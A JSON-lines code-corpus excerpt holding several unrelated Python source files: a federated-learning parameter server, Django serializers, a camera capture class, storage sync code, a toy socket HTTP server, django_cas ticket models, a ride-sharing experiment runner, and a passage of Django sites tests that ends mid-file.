+{"seq_id":"361894127","text":"# -*- coding: UTF-8 -*-\n\nimport os\nimport threading\nimport sys\nimport pickle\nimport tensorflow as tf\nimport numpy as np\nfrom copy import deepcopy\nfrom model import Model_DIN\nfrom communication import Communication\nfrom data_iterator import DataIterator\nimport ps_functions as ps_fn\nimport evaluate as my_eval\nimport general_functions as gn_fn\nimport time\nimport random\n\n################################################################\n# Settings for parameter server\n################################################################\nos.environ['CUDA_VISIBLE_DEVICES'] = '0'\nnp.random.seed(1234)\ntf.set_random_seed(1234)\n\n################################################################\n# Settings for Server Socket\n################################################################\n# set the connection information\nPS_PUBLIC_IP = 'localhost:9113'         # Public IP of the ps\nPS_PRIVATE_IP = 'localhost:9113'        # Private IP of the ps\n\n# Create the communication object\ncommunication = Communication(True, PS_PRIVATE_IP, PS_PUBLIC_IP)\n\n################################################################\n# Constants and Hyper-parameters\n################################################################\nwith open('../taobao_data_process/taobao_user_item_cate_count.pkl', 'rb') as f:\n    user_count, item_count, cate_count = pickle.load(f)\n\ndataset_info = {'user_count': user_count,\n                'item_count': item_count,\n                'cate_count': cate_count}\n\n# total number of Taobao users' datasets (dataset size >=32) for simulating chosen clients\ntotal_users_num = 46336\nchosen_clients_num = 100\n\n# training parameters setup\ncommunication_rounds = 10000       # number of communication rounds\nlocal_epoch_num = 1                # number of local epochs before one round average/communication\n\nembedding_dim = 18\ntrain_batch_size = 2\ntest_batch_size = 1024\npredict_batch_size = 1\npredict_users_num = 1\npredict_ads_num = 1\ncompress_k_levels = 2**15  # number of levels in compression, if it's less than 2, it means no compression\nclip_bound = 0.1\ncompress_bound = 1.0       # {2**8: 0.95, 2**16: 1.0}\nopt_alg = 'sgd'\nif opt_alg == 'adam':\n    learning_rate = 0.001\n    decay_rate = 1.0  # decay rate of learning rate in each communication round\n# default is sgd\nelif opt_alg == 'sgd':\n    learning_rate = 1.0\n    decay_rate = 0.999   # decay rate of learning rate in each communication round\n# 0: indicate aggregate the whole submodel updates evenly\n# 1: indicate aggregate the embedding evenly, while the other network parameters according training set size\n# 2: indicate aggregate the whole submodel according to the involved training set size\n# 3: indicate aggregate the whole submodel according to the whole training set size\nsize_agg_flag = 1\n# 4: original federated learning aggregating way (using size_agg_flag = 3 and fl_flag = True)\nfl_flag = False\n\n# Chosen Taobao users' files for federated submodel learning in first communication round\ninit_user_id_set = random.sample(range(1, total_users_num + 1), chosen_clients_num)\n\nhyperparameters = {'total_users_num': total_users_num,\n                   'chosen_clients_num': chosen_clients_num,\n                   'communication_rounds': communication_rounds,\n                   'local_epoch_num': local_epoch_num,\n                   'train_batch_size': train_batch_size,\n                   'learning_rate': learning_rate,\n                   'decay_rate': decay_rate,\n                   'embedding_dim': embedding_dim,\n                   'opt_alg': opt_alg,\n                   'sync_parameter': chosen_clients_num,\n                   'compress_k_levels': compress_k_levels,\n                   'clip_bound': clip_bound,\n                   'compress_bound': compress_bound,\n                   'init_user_id_set': init_user_id_set,\n                   'size_agg_flag': size_agg_flag,\n                   'fl_flag': fl_flag}\n\n################################################################\n# Preparations for Global Model and Test Phase\n################################################################\ntest_data = DataIterator('../taobao_data_process/taobao_local_test_remap', test_batch_size)\n\nCHECKPOINT_DIR = 'save_path_taobao/parameter_sever' #注意这个路径\nif not os.path.exists(CHECKPOINT_DIR):\n    os.makedirs(CHECKPOINT_DIR)\nCHECKPOINT_DIR = CHECKPOINT_DIR + '/ckpt'\n\n# directories for clients actually, but put here can guarantee only create once\nPERMANENT_ANSWERS_DIR = './permanent_answers/'\nif not os.path.exists(PERMANENT_ANSWERS_DIR):\n    os.makedirs(PERMANENT_ANSWERS_DIR)\n\nSUCCINCT_DATA_DIR = './taobao_succinct_datasets/'\nif not os.path.exists(SUCCINCT_DATA_DIR):\n    os.makedirs(SUCCINCT_DATA_DIR)\n\n\ngpu_options = tf.GPUOptions(allow_growth=True)\nsess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))\n\nmodel = Model_DIN(user_count, item_count, cate_count, embedding_dim, clip_bound, opt_alg)\nsess.run(tf.global_variables_initializer())\nsess.run(tf.local_variables_initializer())\ng1 = tf.get_default_graph()\nsaver = tf.train.Saver()\n#saver.restore(sess, './save_path_taobao_soa/parameter_sever/ckpt')\nplaceholders = gn_fn.create_placeholders()\nupdate_local_vars_op = gn_fn.assign_vars(tf.trainable_variables(), placeholders)\n\nvariables_pack_for_eval_and_save = {\n    'model': model,\n    'saver': saver,\n    'test_set': test_data,\n    'test_batch_size': test_batch_size,\n    'best_auc': 0,\n    'CHECKPOINT_DIR': CHECKPOINT_DIR,\n    'best_round': 0\n}\n\ng1.finalize()\n\n\n#======================================= Shared variables among threads ================================================\nclass QueuesAndLocks:\n    def __init__(self):\n        self.classification_queue = []\n        self.get_update_queue = []\n        self.return_model_queue = []\n        self.gathered_weights_dict = {} # key: client.ID; value: weights\n        self.batches_info_dict = {} # key: client.ID; value: next_batches_info\n        self.valid_updates_queue = []\n        self.valid_updates_dict = {}\n        self.classification_queue_lock = threading.Lock()\n        self.get_update_queue_lock = threading.Lock()\n        self.return_model_queue_lock = threading.Lock() # for return_model_queue\n        self.update_model_lock = threading.Lock()\n        self.next_random_user_index_set = []  # to avoid one client to be chosen in two continual communication rounds (which may cause collusion in filenames)\n\nqueues_and_locks = QueuesAndLocks()\n\n# For chosen client index sets in current and next communication round, avoid collusion here!!!\nwhile True:\n    random_user_index_set_round2 = random.sample(range(1, total_users_num + 1), chosen_clients_num)\n    if ps_fn.judge_set_intersection(random_user_index_set_round2, init_user_id_set):\n        continue\n    else:\n        queues_and_locks.next_random_user_index_set = random_user_index_set_round2\n        break\n\n#======================================= Shared variables among threads ================================================\n\n\n#========================================== Threads handler functions ==================================================\ndef connection_classifier():\n    \"\"\"\n    communicate with new connected clients in classification_queue to know whether they need initialization or to send update,\n    then make initialization or passing them to get_update_queue.\n    \"\"\"\n    global communication, queues_and_locks, hyperparameters, g1, sess\n    ps_fn.classify_connections(communication, queues_and_locks, hyperparameters, g1, sess)\n\n\ndef update_receiver():\n    \"\"\"\n    gather updates from clients in get_update_queue and get their next batches' information,\n    save updates in gathered_weights_queue, save batch information in batches_info_queue,\n    then passing them to return_model_queue.\n    \"\"\"\n    global communication, queues_and_locks\n    ps_fn.get_update(communication, queues_and_locks)\n\n\ndef model_updater_and_returner():\n    \"\"\"\n    check whether it's time to update the global model according to len(return_model_queue) >= n,\n    if true: update the global model and return model to return_model_queue.\n    \"\"\"\n    global communication, queues_and_locks, hyperparameters, dataset_info, placeholders, update_local_vars_op, variables_pack_for_eval_and_save, g1, sess\n    ps_fn.update_and_return_model(communication, queues_and_locks, hyperparameters, dataset_info, placeholders, update_local_vars_op, variables_pack_for_eval_and_save, g1, sess)\n\n\nthread_connection_classifier = threading.Thread(target=connection_classifier)\nthread_get_update = threading.Thread(target=update_receiver)\nthread_update_and_return_model = threading.Thread(target=model_updater_and_returner)\n\nthread_connection_classifier.start()\nthread_get_update.start()\nthread_update_and_return_model.start()\n#========================================== Threads handler functions ==================================================\n\n# Main function\nprint('Server started.')\nsys.stdout.flush()\n\n# Server always accepting new clients from clients (Listening)\nps_fn.accept_new_connections(communication, queues_and_locks)\n","sub_path":"plain/FedSubAvg/train_ps.py","file_name":"train_ps.py","file_ext":"py","file_size_in_byte":9026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"439392500","text":"from django.utils.translation import gettext_lazy as _\nfrom rest_framework import serializers\n\nfrom rdmo.conditions.models import Condition\nfrom rdmo.core.serializers import MarkdownSerializerMixin\nfrom rdmo.options.models import Option, OptionSet\nfrom rdmo.questions.models import Question, QuestionSet\nfrom rdmo.questions.utils import get_widget_class\n\n\nclass OptionSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = Option\n        fields = (\n            'id',\n            'optionset',\n            'text',\n            'additional_input'\n        )\n\n\nclass OptionSetSerializer(serializers.ModelSerializer):\n\n    options = OptionSerializer(many=True)\n\n    class Meta:\n        model = OptionSet\n        fields = (\n            'id',\n            'options',\n            'has_provider',\n            'has_search',\n            'has_conditions'\n        )\n\n\nclass ConditionSerializer(serializers.ModelSerializer):\n\n    class Meta:\n        model = Condition\n        fields = (\n            'id',\n            'source',\n            'relation',\n            'target_text',\n            'target_option'\n        )\n\n\nclass QuestionSerializer(MarkdownSerializerMixin, serializers.ModelSerializer):\n\n    markdown_fields = ('help', )\n\n    conditions = ConditionSerializer(default=None, many=True)\n    optionsets = serializers.SerializerMethodField()\n\n    verbose_name = serializers.SerializerMethodField()\n    verbose_name_plural = serializers.SerializerMethodField()\n    widget_class = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Question\n        fields = (\n            'id',\n            'order',\n            'help',\n            'text',\n            'default_text',\n            'default_option',\n            'default_external_id',\n            'verbose_name',\n            'verbose_name_plural',\n            'widget_type',\n            'widget_class',\n            'value_type',\n            'unit',\n            'width',\n            'minimum',\n            'maximum',\n            'step',\n            'attribute',\n            'conditions',\n            'optionsets',\n            'is_collection',\n            'is_optional',\n            'has_conditions'\n        )\n\n    def get_optionsets(self, obj):\n        return OptionSetSerializer(obj.optionsets.order_by('order'), many=True).data\n\n    def get_verbose_name(self, obj):\n        return obj.verbose_name or _('item')\n\n    def get_verbose_name_plural(self, obj):\n        return obj.verbose_name_plural or _('items')\n\n    def get_widget_class(self, obj):\n        return get_widget_class(obj.widget_type)\n\n\nclass QuestionSetSerializer(MarkdownSerializerMixin, serializers.ModelSerializer):\n\n    markdown_fields = ('help', )\n\n    questionsets = serializers.SerializerMethodField()\n    questions = QuestionSerializer(many=True)\n\n    section = serializers.SerializerMethodField()\n\n    verbose_name = serializers.SerializerMethodField()\n    verbose_name_plural = serializers.SerializerMethodField()\n\n    class Meta:\n        model = QuestionSet\n        fields = (\n            'id',\n            'order',\n            'title',\n            'help',\n            'verbose_name',\n            'verbose_name_plural',\n            'attribute',\n            'is_collection',\n            'next',\n            'prev',\n            'section',\n            'questionsets',\n            'questions',\n            'has_conditions'\n        )\n\n    def get_questionsets(self, obj):\n        return QuestionSetSerializer(obj.questionsets.all(), many=True, read_only=True).data\n\n    def get_section(self, obj):\n        return {\n            'id': obj.section.id,\n            'title': obj.section.title\n        }\n\n    def get_verbose_name(self, obj):\n        return obj.verbose_name or _('set')\n\n    def get_verbose_name_plural(self, obj):\n        return obj.verbose_name_plural or _('sets')\n","sub_path":"rdmo/projects/serializers/v1/questionset.py","file_name":"questionset.py","file_ext":"py","file_size_in_byte":3817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"586627007","text":"# cap.py\n\n# Defines the Capture class used to access a camera\n# Always accesses the first camera found\n\nimport numpy as np\nimport cv2 as cv\nimport time\nfrom pypylon import pylon\nfrom pypylon import genicam\n\n\nclass Capture(object):\n    def __init__(self):\n        self.camera = None\n        self.converter = pylon.ImageFormatConverter()\n        self.converter.OutputPixelFormat = pylon.PixelType_BGR8packed\n        self.converter.OutputBitAlignment = pylon.OutputBitAlignment_MsbAligned\n        self.connect()\n\n    def connect(self):\n        try:\n            self.camera = pylon.InstantCamera(pylon.TlFactory.GetInstance().CreateFirstDevice())\n            self.camera.Open()\n            print(\"Connecting to camera:\", self.camera.GetDeviceInfo().GetModelName())\n        except genicam.GenericException as e:\n            self.camera = None\n            pass\n\n    def start(self):\n        if self.camera is None:\n            print(\"Error: Not connected to camera, can't start grabbing.\")\n            return self\n        self.camera.StartGrabbing(pylon.GrabStrategy_LatestImageOnly)\n        self.set_param('GainAuto', 'Continuous')\n        self.set_param('AcquisitionFrameRateEnable', True)\n        self.set_param('AcquisitionFrameRateAbs', 20.0)\n        return self\n\n    def grab(self):\n        if self.camera is None or not self.camera.IsGrabbing():\n            print(\"Error: Not connected to camera or not grabbing\")\n            return None\n        result = self.camera.RetrieveResult(1000, pylon.TimeoutHandling_ThrowException)\n\n        img = None\n        if result.GrabSucceeded():\n            image = self.converter.Convert(result)\n            img = image.GetArray()\n\n        result.Release()\n        return img\n\n    def stop(self):\n        if self.camera is None:\n            print(\"Error: Camera not started, can't stop.\")\n            return self\n        self.camera.StopGrabbing()\n        self.camera.Close()\n        self.camera = None\n        return self\n\n    def set_param(self, param, value):\n        if self.camera is None:\n            print(\"Error: Not connected to any camera.\")\n            return self\n        setattr(self.camera, param, value)\n        return self\n\n    def get_param(self, param):\n        if self.camera is None:\n            print(\"Error: Not connected to any camera.\")\n            return None\n        val = getattr(self.camera, param)\n        return val.GetValue()\n\nif __name__ == '__main__':\n    cap = Capture()\n    width = cap.get_param(\"Width\")\n    height = cap.get_param(\"Height\")\n    print(\"Image resolution: \" + str(width) + \", \" + str(height))\n    cap.start()\n    while True:\n        im = cap.grab()\n        if im is None:\n            print(\"Error: Got empty result.\")\n            break\n        cv.namedWindow('cap', cv.WINDOW_NORMAL)\n        cv.imshow('cap', im)\n        ch = cv.waitKey(1)\n        if ch == 27 or ch == ord('q'):\n            break\n        if ch == ord('s'):\n            temp = cv.selectROI(im)\n            cv.imwrite('object.png',im)\n            break\n\n    cap.stop()\n    cv.destroyAllWindows()\n","sub_path":"cap.py","file_name":"cap.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"48298388","text":"from typing import List\n\nfrom app.services.storage_service.models import SyncCalculationTaskResult, SyncTaskResult\nfrom app.services.storage_service.storage import Storage\nfrom app.services.storage_service.unmounted.data_mover_client import DataMoverAvailableStorage\nfrom app.services.storage_service.unmounted.unmounted_file_manager import UnmountedVolumeFileManager\nfrom app.utils import MetabolightsException\n\n\nclass UnmountedStorage(Storage):\n\n    def __init__(self, name, app):\n        self.app = app\n        manager_name = name + '_mounted_volume_file_manager'\n        self.remote_file_manager: UnmountedVolumeFileManager = UnmountedVolumeFileManager(manager_name, app)\n\n        super(UnmountedStorage, self).__init__(name=name, remote_file_manager=self.remote_file_manager)\n\n    def sync_from_local(self, source_local_folder: str, target_folder: str, ignore_list: List[str] = None, **kwargs):\n        study_id = UnmountedVolumeFileManager.get_study_id(target_folder)\n        if not study_id:\n            raise MetabolightsException(\"Invalid study id\")\n        remote_job_manager = DataMoverAvailableStorage(\"sync_from_storage\", study_id, self.app)\n        status = remote_job_manager.sync_from_studies_folder(target_folder, ignore_list, **kwargs)\n        return status\n    \n    def sync_to_public_ftp(self, source_local_folder: str, target_folder: str, ignore_list: List[str] = None, **kwargs):\n        study_id = target_folder\n        if not study_id:\n            raise MetabolightsException(\"Invalid study id\")\n        remote_job_manager = DataMoverAvailableStorage(\"sync_to_public_ftp\", study_id, self.app)\n        status = remote_job_manager.sync_public_study_to_ftp(source_study_folder=source_local_folder, target_ftp_folder=target_folder, ignore_list=ignore_list, **kwargs)\n        return status\n    \n\n    def sync_from_storage(self, source: str, target_local_path: str, ignore_list: List[str] = None, **kwargs):\n        study_id = UnmountedVolumeFileManager.get_study_id(source)\n        if not study_id:\n            raise MetabolightsException(\"Invalid study id\")\n        remote_job_manager = DataMoverAvailableStorage(\"sync_from_storage\", study_id, self.app)\n        if not ignore_list:\n            ignore_list = []\n        success = remote_job_manager.sync_from_ftp_folder(source, ignore_list, **kwargs)\n        if not success:\n            raise MetabolightsException(http_code=500, message=f\"Sync job for {source} was failed.\")\n        return success, f\"Sync job for {source} is started.\"\n\n    def calculate_sync_status(self, study_id: str, obfuscation_code: str,\n                              target_local_path: str, force: bool = False, ignore_list: List = None) -> SyncCalculationTaskResult:\n        if not study_id:\n            raise MetabolightsException(\"Invalid study id\")\n        remote_job_manager = DataMoverAvailableStorage(\"sync_from_storage\", study_id, self.app)\n        ftp_folder_name = f\"{study_id.lower()}-{obfuscation_code}\"\n        if not ignore_list:\n            ignore_list = []\n        result = remote_job_manager.check_calculate_sync_status(ftp_folder_name, force, ignore_list)\n        return result\n\n    def check_folder_sync_status(self, study_id: str, obfuscation_code: str, target_local_path: str) -> SyncTaskResult:\n        if not study_id:\n            raise MetabolightsException(\"Invalid study id\")\n        remote_job_manager = DataMoverAvailableStorage(\"sync_from_storage\", study_id, self.app)\n\n        result = remote_job_manager.check_folder_sync_status()\n        return result\n","sub_path":"app/services/storage_service/unmounted/unmounted_storage.py","file_name":"unmounted_storage.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"550373952","text":"#!/usr/bin/env Python\n# -*- coding:utf-8 -*-\n\n\nimport socket\nimport json\n\n\nHOST = ''\nPORT = 8888\nADDR = (HOST, PORT)\nBUFSIZE = 1024\n\n\ndef start_http(sock):\n    \"\"\"开启http服务\n    \"\"\"\n    while True:\n        print('等待连接...')\n        # 等待客户端连接,一直阻塞到客户端连接到\n        conn, addr = sock.accept()\n        print('成功连接： ', addr)\n        try:\n            # 接受客户端连接的数据，请求数据为 GET / HTTP/1.1\n            data = conn.recv(BUFSIZE)\n            if data:\n                # 打印客户端的请求头\n                print('客户端请求头：', data.decode('utf-8'))\n                # 响应客户端的请求\n                conn.sendall(build_response())\n            # 关闭客户端的请求连接\n            conn.close()\n        except Exception as e:\n            print(e)\n            break\n\n\ndef build_response():\n    \"\"\"响应请求,响应数据为 HTTP/1.1 200 OK 空一行 加html文本\n    \"\"\"\n    # 响应头和html文本之间空一行\n    # response = f\"\"\"HTTP/1.1 200 OK\n\n    #     <h1>this is a picture</h1>\n    #     <img src=\"http://h.hiphotos.baidu.com/image/h%3D300/sign=a9f37a64f11f4134ff37037e151d95c1/c995d143ad4bd1137c1d50b556afa40f4afb0560.jpg\" width=\"319.11357340720224\" height=\"212.65927977839337\">\n    #     \"\"\".encode()  # 编码到bytes\n\n    data = {\n        'user': 'lcs',\n        'passwd': '123'\n    }\n    json_data = json.dumps(data)\n    # 响应字典数据，客户端取数据json.loads(response.content.decode('utf-8'))\n    response = f\"\"\"HTTP/1.1 200 OK\n\n        {json_data}\n        \"\"\".encode('utf-8')\n    return response\n\n\ndef main():\n    # 新建socket\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # TCP相关参数\n\n    # 绑定地址\n    sock.bind(ADDR)\n\n    # 监听连接个数\n    sock.listen(1)\n\n    print('启动http')\n    start_http(sock)\n\n\nif __name__ == '__main__':\n    main()","sub_path":"socket_http.py","file_name":"socket_http.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"276154459","text":"from urlparse import urljoin\nfrom urllib import urlencode, urlopen\nfrom django.db import models\nfrom django.conf import settings\nfrom django.dispatch import receiver\nfrom django.contrib.auth.signals import user_logged_in, user_logged_out\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django_cas.exceptions import CasTicketException, CasConfigException\n# Ed Crewe - add in signals to delete old tickets\nfrom django.db.models.signals import post_save\nfrom datetime import datetime, timedelta\nfrom django_cas import CAS\n\nclass SessionServiceTicket(models.Model):\n    \"\"\" Handles a mapping between the CAS Service Ticket and the session key\n        as long as user is connected to an application that uses the CASBackend\n        for authentication\n    \"\"\"\n    service_ticket = models.CharField('service ticket', max_length=255, primary_key=True)\n    session_key = models.CharField('session key', max_length=40)\n\n    class Meta:\n        db_table = 'django_cas_session_service_ticket'\n        verbose_name = 'session service ticket'\n        verbose_name_plural = 'session service tickets'\n\n    def get_session(self):\n        \"\"\" Searches the session in store and returns it \"\"\"\n        session_engine = __import__(name=settings.SESSION_ENGINE, fromlist=['SessionStore'])\n        SessionStore = getattr(session_engine, 'SessionStore')\n        return SessionStore(session_key=self.session_key)\n\n    def __unicode__(self):\n        return self.service_ticket\n\n@receiver(user_logged_in)\ndef map_service_ticket(sender, **kwargs):\n    \"\"\" Creates the mapping between a session key and a service ticket after user\n        logged in \"\"\"\n    request = kwargs['request']\n    ticket = request.GET.get('ticket', '')\n    if ticket:\n        session_key = request.session.session_key\n        mapping, created = SessionServiceTicket.objects.get_or_create(service_ticket=ticket,\n                                            session_key=session_key)\n        mapping.save()\n\n@receiver(user_logged_out)\ndef delete_service_ticket(sender, **kwargs):\n    \"\"\" Deletes the mapping between session key and service ticket after user\n        logged out \"\"\"\n    request = kwargs['request']\n    session_key = request.session.session_key\n    SessionServiceTicket.objects.filter(session_key=session_key).delete()\n        \nclass Tgt(models.Model):\n    username = models.CharField(max_length = 255, unique = True)\n    tgt = models.CharField(max_length = 255)\n    created = models.DateTimeField(auto_now = True)\n\n    def get_proxy_ticket_for(self, service):\n        \"\"\"Verifies CAS 2.0+ XML-based authentication ticket.\n\n        Returns username on success and None on failure.\n        \"\"\"\n        if not settings.CAS_PROXY_CALLBACK:\n            raise CasConfigException(\"No proxy callback set in settings\")\n\n        try:\n            from xml.etree import ElementTree\n        except ImportError:\n            from elementtree import ElementTree\n\n        params = {'pgt': self.tgt, 'targetService': service}\n\n        url = (urljoin(settings.CAS_SERVER_URL, 'proxy') + '?' +\n               urlencode(params))\n\n        page = urlopen(url)\n\n        try:\n            response = page.read()\n            tree = ElementTree.fromstring(response)\n            if tree.find(CAS + 'proxySuccess') is not None:\n                return tree.find(CAS + 'proxySuccess/' + CAS + 'proxyTicket').text\n            else:\n                raise CasTicketException(\"Failed to get proxy ticket\")\n        finally:\n            page.close()\n\nclass PgtIOU(models.Model):\n    \"\"\" Proxy granting ticket and IOU \"\"\"\n    pgtIou = models.CharField(max_length = 255, unique = True)\n    tgt = models.CharField(max_length = 255)\n    created = models.DateTimeField(auto_now = True)\n\ndef get_tgt_for(user):\n    if not settings.CAS_PROXY_CALLBACK:\n        raise CasConfigException(\"No proxy callback set in settings\")\n\n    try:\n        return Tgt.objects.get(username = user.username)\n    except ObjectDoesNotExist:\n        raise CasTicketException(\"no ticket found for user \" + user.username)\n\ndef delete_old_tickets(**kwargs):\n    \"\"\" Delete tickets if they are over 2 days old \n        kwargs = ['raw', 'signal', 'instance', 'sender', 'created']\n    \"\"\"\n    sender = kwargs.get('sender', None)\n    now = datetime.now()\n    expire = datetime(now.year, now.month, now.day) - timedelta(days=2)\n    sender.objects.filter(created__lt=expire).delete()\n    \npost_save.connect(delete_old_tickets, sender=PgtIOU)\npost_save.connect(delete_old_tickets, sender=Tgt)\n","sub_path":"django_cas/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"329222389","text":"#!/usr/bin/env python3\n\n\"\"\"\nMultiple parallel runs to exploit the search space of exepriments\n\"\"\"\n\n\nimport scipy\nimport pandas as pd\nfrom dotmap import DotMap\nimport os\n\nimport ExMAS\nimport ExMAS.utils\nfrom ExMAS.utils import inData as mData\n#from corona import *\n\npd.options.mode.chained_assignment = None\n\n\n########################\n# EXPLOIT SEARCH SPACE #\n########################\n\ndef full_space():\n    # system settings analysis\n    full_space = DotMap()\n    full_space.nP = [100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1200, 1500, 1800, 2000, 2500, 3000]\n    full_space.shared_discount = [0.05, 0.1, 0.15, 0.2, 0.25, 0.3, 0.35]  # , 0.25, 0.3, 0.35]\n    full_space.horizon = [60, 120, 300, 600, 1200, -1]  # , -1]\n    full_space.profitability = [False]\n    full_space.matching_obj = ['u_veh', 'u_pax', 'degree']\n    return full_space\n\n\ndef test_space():\n    # small search space to see if code works\n    full_space = DotMap()\n    full_space.nP = [100, 200]  # number of requests per sim time\n    return full_space\n\n#########\n# UTILS #\n#########\n\n\ndef slice_space(s, replications=1):\n    # util to feed the np.optimize.brute\n    def sliceme(l):\n        return slice(0, len(l), 1)\n\n    ret = list()\n    sizes = list()\n    size = 1\n    for key in s.keys():\n        ret += [sliceme(s[key])]\n        sizes += [len(s[key])]\n        size *= sizes[-1]\n    if replications > 1:\n        sizes += [replications]\n        size *= sizes[-1]\n        ret += [slice(0, replications, 1)]\n    print('Search space to explore of dimensions {} and total size of {}'.format(sizes, size))\n    return tuple(ret)\n\n\ndef exploit_search_space(one_slice, *args):\n    # function to be used with optimize brute\n    inData, params, search_space = args  # read static input\n    _inData = inData.copy()\n    _params = params.copy()\n    stamp = dict()\n    stamp['city'] = _params.city\n    # parameterize\n    for i, key in enumerate(search_space.keys()):\n        val = search_space[key][int(one_slice[int(i)])]\n        stamp[key] = val\n        if key == 'nP':\n            _params.nP = val\n        else:\n            _params[key] = val\n    inData.stats = ExMAS.utils.networkstats(inData)\n    inData = ExMAS.utils.generate_demand(inData, params)\n    t0 = pd.Timestamp.now()\n    inData = ExMAS.main(inData, _params, plot=False)\n\n    stamp['dt'] = str(pd.Timestamp.now() - t0)\n    stamp['search_space'] = inData.sblts.rides.shape[0]\n    ret = pd.concat([inData.sblts.res, pd.Series(stamp)])\n\n    filename = \"\".join([c for c in str(stamp) if c.isalpha() or c.isdigit() or c == ' ']).rstrip().replace(\" \", \"_\")\n    ret.to_frame().to_csv(os.path.join('ExMAS/data/results', filename + '.csv'))\n    print(filename, pd.Timestamp.now(), 'done')\n    return 0\n\n\n########\n# FULL #\n########\n\n\ndef experiment(space=None, config = 'ExMAS/data/configs/default.json', workers=-1, replications = 1):\n    \"\"\"\n    Explores the search space `space` starting from base configuration from `config` using `workers` parallel threads`\n    :param space:\n    :param config:\n    :param workers:\n    :param replications:\n    :return: set of csvs in 'data/results`\n    \"\"\"\n    inData = mData\n    params = ExMAS.utils.get_config(config)\n    params.logger_level = 'CRITICAL'\n    params.np = params.nP\n    params.max_degree = 8\n    params.t0 = pd.to_datetime('15:00')\n    inData = ExMAS.utils.load_G(inData, params, stats=False)\n    if space is None:\n        search_space = full_space()\n    else:\n        search_space = space\n\n    scipy.optimize.brute(func=exploit_search_space,\n                         ranges=slice_space(search_space,replications = replications),\n                         args=(inData, params, search_space),\n                         full_output=True,\n                         finish=None,\n                         workers=workers)\n\n\n\nif __name__ == \"__main__\":\n\n\n    experiment(space=test_space(), workers = 1)\n    # experiment(space=big_bullies(), workers=1)\n    # experiment(space=big_lambdas(), workers=2)\n    # experiment(space=full_space(), workers=-1)\n    # experiment(space=profit(), workers=1)\n    # experiment(space=beh_res(), workers=4)\n    # experiment(space=capacities(), workers=2)\n\n    # experiment(space=beh_res(), workers=2)\n","sub_path":"ExMAS/experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":4199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"301311037","text":"from __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.http import HttpRequest\nfrom django.test.utils import override_settings\n\nfrom mongoengine.django.tests import MongoTestCase\nfrom mongoengine.errors import ValidationError\nfrom extras_mongoengine.contrib.sites.models import Site, RequestSite, get_current_site\n\n\nclass SitesFrameworkTests(MongoTestCase):\n\n    def setUp(self):\n        Site.drop_collection()\n        Site(site_id=settings.SITE_ID, domain=\"example.com\", name=\"example.com\").save()\n        #self.old_Site_meta_installed = Site._meta.installed\n        #Site._meta.installed = True\n\n    def tearDown(self):\n        #Site._meta.installed = self.old_Site_meta_installed\n        Site.drop_collection()\n\n    def test_save_another(self):\n        # Regression for #17415\n        # On some backends the sequence needs reset after save with explicit ID.\n        # Test that there is no sequence collisions by saving another site.\n        Site(site_id=2, domain=\"example2.com\", name=\"example2.com\").save()\n\n    def test_site_manager(self):\n        # Make sure that get_current() does not return a deleted Site object.\n        s = Site.objects.get_current()\n        self.assertTrue(isinstance(s, Site))\n        s.delete()\n        self.assertRaises(Site.DoesNotExist, Site.objects.get_current)\n\n    def test_site_cache(self):\n        # After updating a Site object (e.g. via the admin), we shouldn't return a\n        # bogus value from the SITE_CACHE.\n        site = Site.objects.get_current()\n        self.assertEqual(\"example.com\", site.name)\n        s2 = Site.objects.get(site_id=settings.SITE_ID)\n        s2.name = \"Example site\"\n        s2.save()\n        site = Site.objects.get_current()\n        self.assertEqual(\"Example site\", site.name)\n\n    def test_delete_all_sites_clears_cache(self):\n        # When all site objects are deleted the cache should also\n        # be cleared and get_current() should raise a DoesNotExist.\n        self.assertIsInstance(Site.objects.get_current(), Site)\n        Site.objects.all().delete()\n        self.assertRaises(Site.DoesNotExist, Site.objects.get_current)\n\n    @override_settings(ALLOWED_HOSTS=['example.com'])\n    def test_get_current_site(self):\n        # Test that the correct Site object is returned\n        request = HttpRequest()\n        request.META = {\n            \"SERVER_NAME\": \"example.com\",\n            \"SERVER_PORT\": \"80\",\n        }\n        #import pdb; pdb.set_trace()\n        site = get_current_site(request)\n        self.assertTrue(isinstance(site, Site))\n        self.assertEqual(site.site_id, settings.SITE_ID)\n\n        # Test that an exception is raised if the sites framework is installed\n        # but there is no matching Site\n        site.delete()\n        self.assertRaises(Site.DoesNotExist, get_current_site, request)\n\n        # A RequestSite is returned if the sites framework is not installed\n        #Site._meta.installed = False\n        installed_apps = settings.INSTALLED_APPS\n        new_installed_apps = list(installed_apps)\n        new_installed_apps.remove('extras_mongoengine.contrib.sites')\n        settings.INSTALLED_APPS = new_installed_apps\n\n        site = get_current_site(request)\n        self.assertTrue(isinstance(site, RequestSite))\n        self.assertEqual(site.name, \"example.com\")\n\n        settings.INSTALLED_APPS = installed_apps\n\n    def test_domain_name_with_whitespaces(self):\n        # Regression for #17320\n        # Domain names are not allowed contain whitespace characters\n        site = Site(name=\"test name\", domain=\"test test\")\n        self.assertRaises(ValidationError, site.clean)\n        site.domain = \"test\\ttest\"\n        self.assertRaises(ValidationError, site.clean)\n        site.domain = \"test\\ntest\"\n        self.assertRaises(ValidationError, 